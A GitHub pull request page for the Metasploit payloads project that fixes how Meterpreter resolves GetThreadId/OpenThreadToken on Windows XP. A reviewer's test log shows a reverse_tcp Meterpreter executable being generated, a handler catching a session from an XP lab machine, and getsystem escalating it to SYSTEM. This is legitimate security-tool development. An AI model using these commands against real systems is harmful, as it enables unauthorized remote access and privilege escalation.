-
Notifications
You must be signed in to change notification settings - Fork 677
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
GetThreadId/OpenThreadToken not available in kernel32 in Windows XP sp2/sp3 with MingW #712
Merged
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
… fix an error in mingw-x86 toolchain
wolfcod
changed the title
Resolve GetThreadId at runtime
GetThreadId/OpenThreadToken not available in kernel32 in Windows XP sp2/sp3 with MingW
Aug 13, 2024
dledda-r7
reviewed
Sep 16, 2024
dledda-r7
approved these changes
Sep 18, 2024
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Changes looks good to me.
Before
┌──(kali㉿kali)-[~/…/metasploit-payloads/c/meterpreter/output]
└─$ r2 metsrv.x86.dll
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x6ad013b0]> ii |grep ThreadToken
45 0x6ad264f8 NONE FUNC KERNEL32.dll OpenThreadToken
[0x6ad013b0]>
msf6 payload(windows/meterpreter/reverse_tcp) > WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/metsrv.x86.dll is being used
[*] Sending stage (490769 bytes) to 172.20.133.167
[*] 172.20.133.167 - Meterpreter session 2 closed. Reason: Died
After
┌──(kali㉿kali)-[~/…/metasploit-payloads/c/meterpreter/output]
└─$ r2 metsrv.x86.dll
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x6ad013b0]> ii |grep ThreadToken
17 0x6ad26428 NONE FUNC ADVAPI32.dll OpenThreadToken
[0x6ad013b0]>
msf6 payload(windows/meterpreter/reverse_tcp) > generate -f exe -o ~/Documents/github/pr/712/shell.exe
[*] Writing 73802 bytes to ~/Documents/github/pr/712/shell.exe...
msf6 payload(windows/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf6 payload(windows/meterpreter/reverse_tcp) >
[*] Started reverse TCP handler on 172.20.129.76:4444
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/metsrv.x86.dll is being used
[*] Sending stage (490769 bytes) to 172.20.133.167
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/ext_server_stdapi.x86.dll is being used
[*] Meterpreter session 1 opened (172.20.129.76:4444 -> 172.20.133.167:1045) at 2024-09-18 09:55:42 -0400
msf6 payload(windows/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : USER-B1692D6A4F
OS : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getuid
Server username: USER-B1692D6A4F\User
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Thanks a lot @wolfcod for the PR!
zeroSteiner
added a commit
to zeroSteiner/metasploit-framework
that referenced
this pull request
Oct 10, 2024
Includes changes from: * rapid7/metasploit-payloads#719 * rapid7/metasploit-payloads#718 * rapid7/metasploit-payloads#715 * rapid7/metasploit-payloads#713 * rapid7/metasploit-payloads#712 * rapid7/metasploit-payloads#709 * rapid7/metasploit-payloads#708 * rapid7/metasploit-payloads#705 * rapid7/metasploit-payloads#704 * rapid7/metasploit-payloads#703
zeroSteiner
added a commit
to zeroSteiner/metasploit-framework
that referenced
this pull request
Oct 10, 2024
Includes changes from: * rapid7/metasploit-payloads#716 * rapid7/metasploit-payloads#719 * rapid7/metasploit-payloads#718 * rapid7/metasploit-payloads#715 * rapid7/metasploit-payloads#713 * rapid7/metasploit-payloads#712 * rapid7/metasploit-payloads#709 * rapid7/metasploit-payloads#708 * rapid7/metasploit-payloads#705 * rapid7/metasploit-payloads#704 * rapid7/metasploit-payloads#703
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This patch fixes two issues on Windows XP: